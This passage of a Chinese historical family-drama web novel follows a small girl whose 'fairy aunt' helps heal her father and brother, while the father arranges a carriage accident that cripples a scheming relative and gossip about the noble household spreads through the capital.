剩下的应该先不要拿出来了罢?阿沅眨巴着眼睛想:若是再一股脑儿放出来,只怕爹爹和娘亲今晚没地方睡觉了。
孟大川此刻思绪还有些纷乱,沉浸在巨大的震惊与后续的思量中,但听说是二房的东西,尤其是书信,还是立刻伸手拿起了最上面的一封。
打开一目十行,脸色稍稍有点改变。再打开第二封,脸色骤然严肃起来。
阿沅用力掐了一把爹爹的大腿,看他没有反应,有点懊恼,干脆滑下床,又溜了。
看爹爹的表情,就知道是看到了什么掉头发的事,大人的事她可操心不起,让爹娘自己操心去。
她像只滑溜的小鱼儿,哧溜一下滑下床榻,头也不回地溜出了屋子。
再不走,等娘亲忙完过来,发现她又“捣乱”,说不定真要打她小屁股了。
再说,她是真饿了,也不知道锅子准备好了没有?
第一卷 第22章 有点起色
“娘,吃!”
孟怀瑾忽然说话,声音有些干涩,却字字清晰。他动作略显迟缓,却认真夹起一筷子青菜放进柳氏碗中。
柳氏猛地一震,几乎不敢相信自己的眼睛,怔怔地看着碗里那抹鲜绿,又抬头望向儿子。
只见他眼神虽仍有几分涣散,却努力地聚焦在她脸上,柳氏的眼泪无声地涌了出来,大颗大颗地滚落,视线瞬间模糊,捧着饭碗的手不受控制地发起抖来。
“妹妹,你的。”
孟怀瑾又转向阿沅,夹起一块炖得软烂的肉,稳稳放进阿沅的小碗里。
阿沅没有像娘亲那样激动,但那双滴溜溜的大眼睛飞快地转动着,看看哥哥,又看看娘亲,小脸上一片严肃。她忽然脆生生地开口,语速极快,带着孩子特有的直白:“嘚嘚,是侯府的人害了你。”
孟怀瑾闻言猛地抬头,目光锐利了几分,紧紧盯住妹妹。阿沅没有回避,又一脸认真补充道:“老太婆是个大坏蛋,害爹爹,害嘚嘚,害娘亲。”
柳氏擦了擦眼角,目光一瞬不瞬地落在儿子脸上,观察着他每一丝细微的反应。她顺着阿沅的话,给了儿子一句更明确的提醒,声音虽轻,却字字沉重:“二房是为了侯府爵位和你的嫡子位。”
阿沅无比认真地点着小脑袋,用力“嗯嗯”两声,奶声奶气附和道:“二房坏。”
孟怀瑾嘴唇动了动,半晌才艰难地吐出几个字:“儿子知道…”
他似乎还想再讲下去,他憋了很久,拳头在桌下握紧又松开,最终只是重重地喘了口气,什么也没再多说,重新低下头,机械地往嘴里扒着饭。
直到将那碗饭吃了个底朝天,他才再次抬起头。他的眼神比刚才清明了不少,看着柳氏,一字一顿地说:“娘亲,瑾儿觉得好了不少,明日开始认真读书。”
柳氏听到这话,心头积压了将近半年的阴霾仿佛被撕开了一道口子,她又一次喜极而泣,泪水却带着笑意,连连点头:“好,好,好好用功……”
她一边抹泪,一边想起另一件欣慰的事,忙转过来宽慰兄妹俩,语气带着劫后余生的庆幸:“你爹…也慢慢好…了。”
几天时间里,随着身体内毒素的慢慢退去,孟大川的饭量明显增加,原本灰败的脸色也逐渐有了一丝红润。白日里清醒的时间越来越多,饭前饭后,甚至可以倚在床头,陪柳氏说上小半个时辰的话,虽然气息仍弱,思路清晰。
“爹爹会站起来的。”阿沅扒着碗沿,忽然冒出一句,语气笃定,仿佛在陈述一个既定事实。
柳氏内心却是不信的,夫君本就伤得极重,筋骨受损,又被暗中下了毒,拖了这么久,能保住性命已是万幸,如何还能指望站起来?
只是,她看着女儿亮晶晶的眼睛,不忍拂逆这份童真的期盼,更不愿在孩子们面前流露绝望。
她想着,即便将来他再不能站起来,但只要他活着,能说话,能看着她,她就觉得有了主心骨,不再是无依的浮萍。
更何况,她还有这一双儿女,只要人在,家就在,希望就在。
……
“这…真的是阿沅放出来的?”
伺候孟大川洗漱的时候,猛然看见那只在昏暗烛光下熟悉的红珊瑚摆件,以及旁边地上那只敞开的箱子里,女儿自小就积攒起来的玩具。她只觉得脑中“嗡”的一声,脚下一软,几乎跌坐在地,慌忙扶住床柱才稳住身形,眼睛瞪得极大,满是惊骇与难以置信。
“你去看看瑾儿的房,阿沅刚刚跟为夫说的意思,应该是瑾儿的整间书房都搬回来了。”孟大川的声音平静。
他看着妻子瞬间苍白的脸和微微颤抖的手,知道自己的解释再详细,恐怕也难以完全消除她心头的惊涛骇浪与重重谜团。让她亲眼去见证,或许比任何语言都更具说服力。
而且,他也隐隐期盼着,能通过妻子那双眼睛,替他看清女儿所陈述的、那超乎常理的事实。
柳氏深深吸了好几口气,才勉强平复下翻腾的心绪。她脚步虚浮地走到侧屋,里间的门半掩着,昏黄的灯光从门缝里透出来。
她轻轻推开一条缝,看到的是孟怀瑾正脊背挺直,伏在宽大的紫檀木案桌之前,就着一盏明亮的油灯,聚精会神地翻阅着书籍的背影。
那专注的姿态,那被暖黄灯光笼罩的侧影,那熟悉的书房陈设……乍一看去,恍惚间竟让她想起了一年前,那个尚未遭逢大变、朝气蓬勃、每日在书房中奋发苦读、意气风发的少年郎。
孟怀瑾全神贯注,丝毫没有察觉门口有人。柳氏只是静静地站着,贪婪地看着这失而复得的一幕,看了许久许久,仿佛要将这一幕深深镌刻进心底。
最后,她没有出声打扰,只是悄悄抬手,用力抹去眼角再次溢出的湿意,缓缓退了出来,轻轻带上了门。
第一卷 第23章 那就让她来不了
“确实有神仙姑姑在帮阿沅!”回到正屋,柳氏对孟大川说的第一句话,已然没有了之前的惊疑不定,而是带上了一种破开迷雾后的笃定,眼中闪着奇异的光彩,“那你的腿就还有希望,对不对?阿沅说过几次,夫君会站起来的,那就一定会站起来。”
看到妻子脸上不仅恢复了往日的神采,眼底深处更是燃起了久违的、充满希望的光芒,孟大川不由得露出这些日子以来第一个真正舒心的笑容:“云娘没觉得为夫一天一个样?”
“那就好,那就好!”柳氏的泪水又涌了出来,但这泪水滚烫,充满了喜悦与期盼,“你不知妾身有多希望,夫君能有重新站起来的一天。”
“都多大的人了,还整天哭哭啼啼的,”孟大川心中酸软,伸手拉住了她那双因近日操劳而变得有些粗糙的手,轻轻摩挲着,指尖传来的薄茧让他心头一阵抽痛,“上来,为夫细细跟你说点事。”
两人并肩躺下,帷帐落下,隔出一方静谧的空间。孟大川压低声音,将方才孟柒前来汇报的所有事情,一五一十,事无巨细地娓娓道来。尤其着重强调了阿沅安排孟柒囤积粮食、木炭,购买厚实棉衣等事。
“阿沅……她再聪慧,也只不过是个三岁的孩子,如何能懂得这些、谋划这些?”柳氏听完,愕然不已,随即恍然,“定然又是神仙姑姑的指点。”
“放心,我已经跟孟柒解释,说这些是我先前病中清醒时交代过的事。”
孟大川想起孟柒当时的眼神,也感到一阵后怕,幸亏自己反应及时,寻了个还算合理的借口将事情圆了回来,不然,真担心这些超常之事会引来外人猜忌,将女儿视作妖异。
“只是,阿沅的事…”孟大川沉吟着,眉头微蹙,有些欲言又止。
“夫君,”柳氏立刻会意,握紧了他的手,语气急促而坚定。
“她只是受神仙姑姑之托,是咱们家的福星护佑。此事万万不可对外泄露半分,孟柒虽忠心,但知道得越少对他越好。瑾儿……他如今刚有起色,心绪未稳,也还不是告知的时候。”她显然是担心丈夫考虑不周,急于提醒。
“为夫是说,”孟大川轻轻拍了拍她的手背,解释道,“为防万一,得再往她身边添几个稳妥可靠的人。”当初挑选绿果和红豆做阿沅的贴身丫鬟,主要是看中了她们会些拳脚功夫,能护得女儿日常安全。
如今看来,仅是如此还远远不够。女儿年纪太小,心思单纯,那“神仙姑姑”之事又如此玄奇,难保她不会在无心之时说漏了嘴。必须增加暗中的护卫力量,既要保护她的安全,也要防范秘密外泄。
孟大川接着又将孟柒听墙角之事,仔细复述了一遍。从母亲当年如何被算计,到如今二房的处心积虑,要将他们大房置于死地。
柳氏听得脸色发白,牙齿咬得咯咯作响,眼中尽是恨意,但她也深知,以他们目前的处境,根本没有还手之力,只能将这恨意死死压在心底。
“夫君,庄头换人之事,动静不小,迟早遮掩不住。”柳氏强迫自己冷静下来,说出另一层担忧,“妾身这几日一直为此烦恼,该如何向府里报备?”
“先不急,”孟大川目光沉静,心中已有计较,“按神仙姑姑给阿沅的提示,雪灾已经开始了。一旦大雪封山,道路必然中断,消息传递困难。”
“不是说姓宋的要来吗?”他的眼神骤然冷冽,声音也压低了几分,带着一种破釜沉舟的决断,“那就让她来不了!”
这话他说得斩钉截铁,昏黄的灯光映在他眼中,闪烁着隐晦而锐利的光芒。
两天后的清晨,依然是细雪如盐,京城西门刚刚缓缓洞开,一辆乌篷马车就第一个疾驰而出,还有一左一右两个护卫紧紧跟着。
“姑母真是的,”车厢里,小宋氏身子陷在厚厚的锦缎棉褥中,裹得如同一只密实的茧,怀里搂着一只鎏金铜手炉,她嘴唇翕动,语气非常烦躁,“这鬼天气,冻得人骨头缝都疼。横竖庄子里那一家子病痨鬼,也多熬不了几天,没准过两天自己就咽气了,何必非得折腾我这一趟?大雪天的,路滑难行,尽是晦气。”
坐在她对面的老婆子,生得一副尖嘴猴腮的模样,眼珠子却活络得很,闻言立刻堆起满脸谄笑,褶子都挤到了一处。
她声音带着一股子煽动意味:“我的好夫人哟,您可别这么想。老太太那是着急上火了,可这份急,说到底不还是为了您们二房的大好前程?您想想日后那泼天的富贵,眼下走这一趟,权当是圆了她老人家的心意,表表孝心,让她更念着您的好。”
她顿了顿,三角眼里闪过一丝精光,又添了一把火,“再说了,这等要紧事,夫人您亲自去瞅一眼,亲眼见着了,心里不就更踏实了?往后这个年,才能过得安安稳稳、舒舒坦坦不是?”
“哼,这倒也是。”小宋氏撇了撇嘴,脸上终于有了点笑意。
她年方三十,身段犹存几分妖娆,一张脸皮相不算差,只是两颊无肉,颧骨微凸,衬得那双遗传自老宋氏的吊梢眼格外锐利冰凉。
她掀开车帘一角,望了望外面依然簌簌纷飞的雪野,眼神里透出毫不掩饰的恶毒与期盼,“我啊,巴不得年前就能吃上大房的席面,那二爷承袭爵位的事,可就板上钉钉,再没半点波折了。”这话刻意压低了声音,却让人觉得寒气入骨。
马车轱辘不停,驶出官道,转入一条更为僻静的傍山小路。
路面逐渐崎岖,两旁是枝桠光秃秃的杂木林子,积着皑皑白雪。
第一卷 第24章 小宋氏出事
行至一片茂密些的小树林边,道路陡然下倾,形成一个稍微有点陡峭的斜坡。车夫“吁”了一声,正要小心控缰,拉车的两匹马却被林子里忽然崩裂的声音猛地一惊,突然同时嘶鸣起来,前蹄高举,发了狂似的向前猛冲!
陡坡加上惊马,情势瞬间失控。马车向前一窜,随即剧烈地颠簸、跳跃起来,如同惊涛骇浪中的一片扁舟。
车厢里的小宋氏和老妈子猝不及防,被抛甩得东倒西歪,尖叫、怒骂连连。小宋氏手炉“哐当”摔在车板上,炭火滚出。
两个骑马的护卫大惊失色,奋力打马想要追上并控制住惊马,但斜坡加速太快,马匹受惊程度远超预料,根本追赶不及。
疯狂的奔驰只持续了短短一段路,随着一声木材断裂的脆响和更凄厉的马嘶,车轮猛地撞上一块大石头,整个马车顿时失去平衡,向一侧猛地倾斜,随即翻滚着冲下道路旁那个不算很深、却布满乱石枯树的小斜坡!
小宋氏和那老婆子在翻滚过程中先后被抛出了车厢外,重重摔在斜坡下的厚雪窝里。
冰冷的雪沫灌了她们一头一脸,浑身骨头像是散了架,火辣辣地疼,但幸运的是,厚厚的积雪和蓬松的枯草起到了缓冲,两人似乎只是受了些擦碰扭挫的轻伤,意识都还清醒。
“哎哟……疼死我了……救命!快来人!”老婆子呻吟着。
“我的脚……扭着了,动不了……”小宋氏试图撑起身子,却感到脚踝处一阵钻心疼痛,又跌坐回去,又惊又怒地喊道,“该死的畜生!怎么赶的车?护卫呢?死哪儿去了!”
她们此刻正处在斜坡底部,惊马已挣脱车辕不知跑向何处,车夫也不知被抛向了哪里,而那辆已经变形破损的空车厢,在翻滚几周后,被两棵粗壮的老树树干堪堪卡住,停在斜坡中段,摇摇欲坠。
两个护卫面无血色,连滚带爬地冲下斜坡,正要上前救助主子。
就在此时,却出了新的状况。
只听得“嘎吱——嘭!”一声令人牙酸的木材断裂巨响,那卡住车厢的树干不堪重负,猛然折断!失去支撑的空车厢骤然解脱,顺着剩余的斜坡坡度,剧烈地抖动、翻滚起来,加速朝坡底的二人冲砸而去!
“不——!!!”小宋氏的瞳孔骤然缩成针尖。
一切都发生在电光石火之间。沉重的车厢残骸如同死神投下的阴影,首先精准地撞上了刚刚半坐起来的老婆子,“噗”的一声闷响,边角狠狠砸中了她的头颅。老婆子连惨叫都未及完全发出,便像破布袋一样瘫软下去,鲜血瞬间染红了雪地。
车厢去势未减,借着惯性继续滚动、砸落,最后不偏不倚,整个沉重的底部,狠狠砸在了瘫坐在地、根本无法移动的小宋氏的腰腹之间!
“啊——!!!”
凄厉至极的惨叫划破了雪林的寂静,比之前马惊时的呼喊更加令人毛骨悚然。小宋氏双眼暴凸,腰腹部传来的是一种无法形容的、碾碎般的剧痛,仿佛整个下半身瞬间失去了知觉,又仿佛被生生压成了肉泥。
巨大的冲击力震得旁边树冠上的积雪扑簌簌纷纷落下,如同又下了一场急促的暴雪,迷蒙了现场。
两名护卫僵立在数步之外,脸上血色尽褪,目瞪口呆。
事情发生得太过突然、太过迅猛,从马车惊走到此刻惨剧落幕,不过短短几十息时间,他们纵然拼尽全力,也根本无法做出任何有效的挽救,只能眼睁睁看着一切发生。
冰冷的空气中,只剩下鲜血温热的气息、细微的雪落声,以及小宋氏那逐渐微弱下去的痛苦呻吟。
几道骑马披着白斗篷的高大身影从树林子里出来,看清楚了山下的这一幕,很快又隐了进去,最后消失无踪。
“车夫和婆子都死了,二房那位这辈子别想再站起来。”孟柒垂手立在门边,低声回禀。
“做得好,但这还只是开始,”孟大川靠在床头,伸手缓缓捏了捏自己依然毫无知觉的大腿,他眼底寒意如同外面的积雪,声音低沉而清晰,“比起他们做下的事,我们要一报还一报,一件件、一桩桩,慢慢清算。”
阿沅这几日可快活极了,一天里除了扎马步吃饭睡觉,其余时间都要绿果和红豆拎着她在庄子里飞跃。
红袖也不闲着,在后面追得气喘吁吁,不成样子。
阿沅哪晓得小宋氏出了事,更不知道,大房沉默而锋利的报复,早已如暗流般在她无忧无虑的嬉笑声中悄然涌动。
她嚷嚷着要学拳脚功夫,每日煞有介事地踢腿伸胳膊,然后往外跑。其实早把这两百亩庄子的角角落落摸了个遍。
嘉禾庄偎在山谷怀里,地势低洼,土地肥沃,山涧水充足。这里最宜种稻子,庄上的出产也确是稻谷为主。
阿沅心里那颗小种子早就发了芽——她定要在庄子里种出高产的稻米来。只是北方天冷,一年只能种一季,有点遗憾。因为今年的这一次雪灾,种植只能在六月,所以她有大把的时间做准备。
这日,她又吭哧吭哧爬上了爹爹的床榻,小手这里捏捏,那里掐掐,从爹爹的脚踝一路仔细按到腰间,用力得自己的小指头都疼了,可爹爹的腿还是安安静静的,都没瑟缩一下。
她凑过去,暖烘烘趴到孟大川脖颈边,嫩嫩的脸蛋贴着他蹭了蹭,糊开一片湿漉漉的亲昵。
“爹爹呀,”她声音糯糯的,带着十足的撒娇劲儿,“阿沅想要礼物。”
“阿沅看上什么了?”女儿贴近床的那一刻,孟大川的眼神就没离开过她,现在看着女儿亮晶晶的眼睛,心底一片柔软。
这数月卧榻,是妻子的温言细语与日夜不离的照料,一点点化开他心头的坚冰;而女儿,更像是一束活泼泼的光,总在他觉着前路晦暗时,俏生生地照亮一角。但凡他能,有什么是不能给她的?“爹爹定然给阿沅办到。”
“阿沅想要庄子!”小家伙眼珠儿骨碌一转,闪着狡黠的光,嘴角翘得高高,笑的贼呼呼的。
“娘亲的陪嫁庄子和铺子,往后都是阿沅的嫁妆,爹爹可没那么多。”柳氏正坐在窗边做着针线,闻言抬头,语气里故意掺了点酸意。
这几日,女儿总爱黏着她爹说悄悄话,对她这个娘倒似有些“冷落”了。可瞧着女儿那小小人儿竟已知道盘算这些,她又觉着好笑又骄傲。
第一卷 第25章 孟怀瑾默写出了论语
“不是呀,”阿沅急急摇头,小短手指了指头顶的帐子,又拍了拍身下的床板,似乎不知该怎么准确表达,急得鼻尖都沁出细汗,“是这个!就是这个……泥坏后娘的那个!”
她连“祖母”也不叫了,直接用小手指头点向孟大川,意思是爹爹的东西,“泥后娘的,不给她!”说着,还使劲摇了摇孟大川的胳膊,连带着他的脑袋也轻轻晃了晃,那股子“必须抢过来”的蛮劲儿,可爱又霸道。
孟大川被她摇得眼底漾开一丝笑意,将手臂抽回,枕在脑后。“阿沅是想要我们住的这个庄子?不过…也……不是不可,”他沉吟道,“房契地契既已拿回,爹爹本就没打算再便宜他们。”
虽不便立刻过户,但多费些周折,总有法子。
“只是嘛——”他话锋一转,伸出手指,轻轻点了点女儿汗津津的小鼻尖,“你且跟爹爹和娘亲老实交代,阿沅要这庄子,是想做什么呀?”
每次听到女儿哼哧哼哧往床上爬的动静,他就知道,这小机灵鬼心里又藏了话,要来跟他商量大事。
“神仙姑姑要教窝种地!”阿沅挺起小胸脯,语出惊人。孟大川和柳氏对视一眼,早已见怪不怪。柳氏放下针线,坐到床沿,温柔地将女儿爬得有些散乱的细软头发拢到耳后。
“神仙姑姑给种子,能长出好多好多粮食,”阿沅张开短短的手臂,努力画了一个大大的圆,几乎要把整间屋子都抱进去,“让好多好多的人,都吃饱饭!”她眼神亮得惊人,仿佛已经看到了那金色稻浪翻滚的景象。
“阿沅是说,神仙姑姑还会种地?”孟大川难掩诧异。这位“神仙姑姑”管得竟如此宽?不单救他一家,还要救天下苍生?而这重任,竟要透过怀中这软糯一团的小女儿来完成?
“爹爹好聪明。”阿沅小马屁精,洋洋自得。
“阿沅只管听神仙姑姑的,”孟大川心中震动,面上却更温和,将女儿往怀里带了带,“庄子和人手,爹爹来给你安排。只是不许累着我的小阿沅,知道吗?”
服药敷药的时间尚短,他的腿虽还未有知觉,却已不再疼痛,而且自己和儿子的身子都在好转,他没理由不信女儿的话。
至于种地,有了粮就能养人,这世道,越是艰难,肯踏实干活的人就越多。有了庄子,多找点人给女儿种地就是了。
柳氏欲言又止,本想跟夫君说,要么搬到自己的庄子里去。但想想又把这种想法压了回去,女儿都说了是想要这间庄子,也不知是不是神仙姑姑刻意授意,飞这里不行。
“就知道爹爹最最好了!”阿沅欢喜极了,凑上去“吧嗒”一声,又在孟大川脸上结结实实亲了一口,留下湿漉漉、甜丝丝的印记。
“爹爹好,娘亲就不好啦?”柳氏佯装吃味,别过脸去。
阿沅一听,骨碌一下从爹爹怀里爬起来,扑过去抱住柳氏的脖子,也在她脸上“嗷呜”轻咬了一口,随即咯咯笑起来,笑声如同银铃一般悦耳:“爹爹好,娘亲好!嘚嘚也好!”
她扭着身子,忽然想起什么,认真叮嘱,“娘亲要记得喝补药药哦!”
柳氏心头那点酸意早化了蜜,捏了捏她的小脸蛋:“记得记得,小管家婆!补药在炉子上,姑姑们日日盯着熬呢。”
阿沅觉得自己的鼻子生来就是给爹娘点的,忙不迭把小脸凑到柳氏手边,果然又被轻轻点了一下。
这下,一家三口笑作一团,阿沅在爹娘中间滚来滚去,软糯的笑语充盈满室,将窗外渐沉的暮色都染得温馨起来。
听到这边爽朗的笑声,隔壁的侧屋,正在埋头苦读的孟怀瑾,轻轻抬头,嘴角也忍不住扬了起来,他刚刚默写出了《论语》的第一章。
“老夫人,不好了,老夫人!”
老宋氏在前院住了三天,才搬回松鹤院不过二日。这几日依然有点心神不宁,夜里总睡不踏实,昨日服了安神汤,好不容易才得了个深沉安稳的觉。
天刚蒙蒙亮,她正陷在稠梦里,这声尖利又慌乱的叫喊,像根冰锥子猛地扎进耳膜,将她硬生生拽了出来。
她眼皮未睁,心头那股无名火就“噌”地窜起,烧得太阳穴突突直跳。这松鹤院里,何时容得这般没规没矩的声响了?
侍立在外间的春嬷嬷比她反应更快,早已沉了脸,几步跨到门边,声音压得低,却像裹了层寒霜:“哪个不知死活的小蹄子,大清早在这里鬼哭狼嚎!惊扰了老夫人歇息,仔细你的皮!”她眼神锐利如刀,刮向门口那团瑟瑟发抖的身影。
“春、春嬷嬷……是……是……”刚跨过门槛的小丫鬟被这声呵斥吓得魂飞魄散,腿一软,“噗通”就跪在了冰凉的石砖地上,额头抵着地面,声音抖得不成样子,“是二爷……二爷让小厮急急传了话进来……”说完,像是怕极了责罚,又连着磕了几个响头,砰砰作响。
对她来说——这自然是躺在里间,刚被彻底吵醒、正满心怒火的老宋氏却定了定神,忽然心情舒畅起来。
如今能称得上“不好”的事,多半与那被赶到庄子里去的大房有关。
坏事?若是大房的坏事,那对她便是天大的好事。这么一想,胸腔里那股被惊扰的怒气,竟奇异地转成了丝丝缕缕的期待,将那点子不悦驱散了大半。
她脸上那因睡眠不足而深刻的皱纹,不知不觉间竟舒展了些,甚至勉强扯动嘴角,露出一丝近乎扭曲的笑意,那张布满岁月沟壑的老脸,一时像朵将开未开的残菊。
“什么事啊?扶我出去说。”老宋氏撑着身子坐起些,声音里刻意带上了点慢条斯理的沉稳,让丫鬟扶着出了正厅。
还朝门口招了招手,示意那跪着的小丫鬟起身。春嬷嬷会意,侧身让开了些。
“是……是……”小丫鬟抖索着爬起来,头仍旧低垂着,不敢看榻上的人,声音细若蚊蚋,“二爷让小厮传话……说、说二夫人的马车……昨天在城外出了事,翻下了山……二夫人她……她怕是……快不行了……”
第一卷 第26章 无异于马失前蹄
“哐当——!”
小丫鬟话音未落,一个青瓷茶盏已从老宋氏手中飞了出去,狠狠砸在她脚边的砖地上,瞬间迸裂成无数锋利的碎片,几滴滚烫的茶水溅到了小丫鬟的裙摆上。
小丫鬟惊叫一声,本能地往后一缩,险险避开那四散的瓷片,随即又吓得魂不附体,“咚”地一声重新跪倒,不住磕头。
“你说什么?!”老宋氏的声音陡然拔高,尖利得变了调,她上半身猛地前倾,眼睛瞪得极大,浑浊的眼珠里满是不可置信与一种被突如其来的噩耗击中的茫然。
“跟去的人是死的不成?怎么伺候的?!到底是怎么出的事?!传话的小厮呢?让他滚进来说清楚!”
她话音未落,门口人影一闪,一个穿着灰布袄子的小厮连滚带爬地进了屋,“扑通”跪倒在碎瓷片旁,正是平日里跟着孟二泉的贴身随侍,此刻也是面无人色,额头冒汗。
“老夫人息怒!老夫人容禀!”小厮声音发颤,语速极快,“是、是这么回事……昨夜子时过后,巡防司的人就来了府上报讯,说在城外落鹰涧发现了咱们府上标记的马车残骸。
二爷得了信,天不亮就带着人赶过去了,方才……方才才从现场回来,让小的立刻来回禀老夫人……”
“人呢?二夫人呢?抬回来了?死了?!”老宋氏只觉得一股寒气从脚底板直冲天灵盖,眼前阵阵发黑,身子不由自主地晃了晃,险些从榻上栽下来。
旁边的春嬷嬷眼疾手快,一个箭步上前牢牢扶住她的胳膊,连声急道:“老夫人!老夫人您可千万稳住!眼下这光景,二夫人不行了,您万不能再出什么闪失啊!”她一边说,一边用力给老宋氏抚着胸口顺气。
小厮头埋得更低,几乎要贴到地上:“人已经就近送到济安堂了。可郎中说,就是救回了…怕是不成了…”
“二夫人下身血肉模糊一片,腰脊那块…说是碎得厉害。郎中说,情形跟当年大爷受伤时有些像……可、可又比当初大爷还要严重得多啊!”
“冤孽……真是冤孽啊!”老宋氏浑身剧烈地哆嗦起来,手指死死攥着春嬷嬷的衣袖,指节泛白,胸口剧烈起伏,像是喘不上气,“那一家子……就是带克的!克了老身还不够,如今又来克我的泉儿,克我娘家的闺女,我定……”
“老夫人!慎言呐!”春嬷嬷听得心惊肉跳,眼见老宋氏口不择言,慌忙用力扯了扯她的衣襟,低声急劝,同时朝地上跪着的两人瞥去警告的一眼。
老宋氏被她一扯,似乎回了几分神,那未尽的恶毒诅咒卡在喉咙里,化作一阵“嗬嗬”的痰音,脸色由白转青,竟是一时说不出完整的话来。
她另一只手习惯性地往旁边小几上摸索,想再抓个东西,却只摸了个空,那空空的感觉让她心头更是一阵发慌。
喘了几口粗气,老宋氏勉强压下那股邪火与惊悸,用帕子掩住脸,竟真从指缝里挤出几滴浑浊的老泪来,声音也带上了哭腔。
“去……告诉二爷,拿我的对牌,立刻去宫里……无论如何,请一位最好的太医来!一定要想法子……把二夫人给我救回来!”这话说得凄切,仿佛蕴含着无尽的悲痛与不舍。
“是!老夫人!小的这就去!”地上那小厮如蒙大赦,慌忙磕了个头,手脚并用地爬起来,转身就要往外跑。
“等等!”老宋氏忽然放下帕子,露出一双红肿却精光闪烁的眼睛,死死盯着小厮的背影,声音陡然变得尖细而森冷。
“这事……来得蹊跷!你告诉二爷,让他报官!仔仔细细地查!我倒是要看看,是哪个黑了心肝、挨千刀的,敢对我侯府下这样的毒手!”她语气里透着狠戾,仿佛已认定了这不是意外。
“老夫人!”春嬷嬷脸色一变,手上力道加重,几乎是半按半扶地制住了老宋氏微微前倾的身体,急急递过去一个“万万不可”的眼神,又迅速转向门口,声音带着不容置疑的断然,“老夫人是急糊涂了!眼下救人要紧!”
她随即瞪向那小厮,语速飞快地替老宋氏问道:“巡防司的人既然去了,他们怎么说?可查验过了?”
小厮被这一连串变故弄得晕头转向,闻言连忙又转回身,重新跪下,急急回话:“回嬷嬷的话,巡防司的几位官爷已经仔细看过了现场。
那段路本就险峻,积有厚雪薄冰,马蹄打滑是常事。在出事前,拉车的马不知被什么声响惊着了,这才发了狂,直冲出了山路。
官爷们勘验了车辙和马匹痕迹,也问了侥幸生还的护卫,都说……都说是意外,并无其他可疑之处。”
“那跟着去的下人呢?主子出了这么大的事,他们一个个都死到哪里去了?!”老宋氏捂着胸口,只觉得那里一阵阵绞痛,气都快喘不匀了,说话断断续续,却仍旧咬着牙追问。
春嬷嬷在一旁不停地为她揉着心口,满脸忧色。
小厮战战兢兢地回答:“跟车的嬷嬷和车夫老王……当场就没了。另外两个护卫伤得倒是不重,被巡防司的人一并带走问话,刚刚……刚刚才放回来,此刻正在前院回二爷的话。”
“没用的东西!主子都护不住,留着他们还有什么用!”老宋氏眼底掠过阴狠与迁怒,咬着牙根吩咐,“告诉二爷,这种没用的奴才,不必留了!打杀干净,省得看着碍眼!”
“是!老夫人!小的明白了!”小厮再不敢有丝毫耽搁,重重应了一声,爬起来,逃也似的冲出了松鹤苑的正堂,仿佛身后有恶鬼在追一般。
堂内骤然安静下来,只剩下老宋氏粗重压抑的喘息声,以及地上那一摊狼藉的碎瓷和泼洒的茶渍。
“老夫人,您千万保重身子,眼下府里可全靠您跟二爷拿主意了。”春嬷嬷声音放得极柔,带着十足的忧虑,她半扶半抱着老宋氏发软的身子,“您脸色很不好,老奴扶您到里间躺下歇会儿吧,缓缓神,万事……等太医来了再说。”
老宋氏没有拒绝,任由春嬷嬷搀扶着,颤颤巍巍地从榻上挪下来。她的腿脚像是灌了铅,每一步都沉重无比。
方才那一瞬间因“坏事”而泛起的、近乎扭曲的期待亮光,早已在她脸上消失得无影无踪,取而代之的是一片死灰般的暗淡。
那双浑浊的老眼里,先前闪烁的精光骤然熄灭了,只剩下无尽的惶惑、惊怒,以及一种深不见底的、对于命运无常的恐惧。
小宋氏出了意外,对她而言,无异于马失前蹄。
第一卷 第27章 贪墨嫁妆
安平侯府接连出事,在京城里传得沸沸扬扬,街头巷尾的茶楼酒肆里,处处都能听见窃窃私语,人人脸上都带着几分看热闹的兴奋,又夹杂着对侯府衰落的唏嘘。
先是府里接二连三闹鬼,那光景着实吓人。
据说夜半时分总有女子的哭声从后花园的枯井边传来,值夜的下人亲眼见过白影飘过回廊,连老夫人房里守夜的嬷嬷都说瞧见了窗外有张惨白的脸一闪而过。
主子和下人都被折腾得人心惶惶,夜里不敢独行,非得三五成群才敢走动。老夫人请来青云观最有名的玄清道长做了整整七场法事,贴了无数符咒,撒了不知多少糯米朱砂,那诡异的动静才逐渐消停。却也因此传出了不少流言,如同长了翅膀般飞遍京城各个角落。
“军功换诰命这事,本来就做得不亮堂。”
明阳公主府的冬日宴上,几个老夫人压低声音,“照说这诰命怎么都是应该请给自己的生母,现在侯府那位继室自作主张,承了这份荣宠,地底下那位还不得跳起来找她理论?要我说啊,这闹鬼的事儿,八成就是先头那位花老夫人显灵了。”
“换成是老身,我也出来走这一遭。”
茶馆里,几个书生模样的年轻人也议论得正酣。“后娘有几个是好的!”一个书生啜了口茶,摇头晃脑,“真会为大房打算,不然为什么还不连爵位一起请了?正牌的嫡长子太医都没说不能治,就拉庄子去了。现在也不知是死是活。侯府这爵位啊,指定是留给二房的。”
旁边有人嗤笑一声:“二房也配?文不成武不就,没一样拿得出手的。那位二老爷孟二泉,也就在衙门挂了个六品闲职,七八年没挪过窝。”
“那位二夫人小宋氏,跟那位继室老夫人一样,粗鄙得很,上不得台面。”
“这个谁知道呢?”先前说话的书生压低声音,“搞不好递上去,皇上就批了也不一定。毕竟若是大爷都不在了,二房承爵也是顺理成章。”
没多久,又传出更惊人的消息:二夫人小宋氏私自外出,竟遭遇了飞来横祸。据说是马惊了,从车上滚落,被车轮碾过腰身,如今双腿完全不能动弹,下半截算是废了,整日躺在榻上哀嚎,请了多少名医都摇头叹气。
市井间的议论更是甚嚣尘上。“这侯府呀,没有了老侯爷和孟大川,怕是很快要没落了。”西街米铺的老掌柜一边拨弄算盘一边感慨,“老侯爷在的时候安平侯府是何等的尊荣,那时门前的石狮子都闪着光,车马不绝。现在是避之不及,连咱们这些平头百姓都绕着走,怕是沾染了晦气。”
“儿子不行,不是还有孙子吗?”一旁买米的妇人插嘴,“听说嫡长孙十三岁就中了秀才,还位列榜首,夫子可说是有状元之才的。”
老掌柜长叹一声:“已经是昨日黄花了,慧极必伤,听说疯了。好好的一个孩子,如今见人就咬,胡言乱语,被锁在后院里。”
那妇人倒抽一口冷气:“前后不过半年,就瘫了两个,疯了一个,怎么这么邪门呢?”
角落里一个老者幽幽开口:“看着吧,那是遭了报应。人在做,天在看呐。”
腊月里的寒风刺骨,十二月初十这天,两个衣衫单薄的年轻人跌跌撞撞冲进京兆衙门,跪在堂前泣不成声。
一个自称是侯府大房的丫鬟碧桃,另一个是小厮长安,二人报案称侯府失窃,独独偷了大房的财物,前院后院偷得一干二净,连个箱笼都没留下,毛都没留下一根。而其余几个院子,从主子到下人,未丢一针一线。
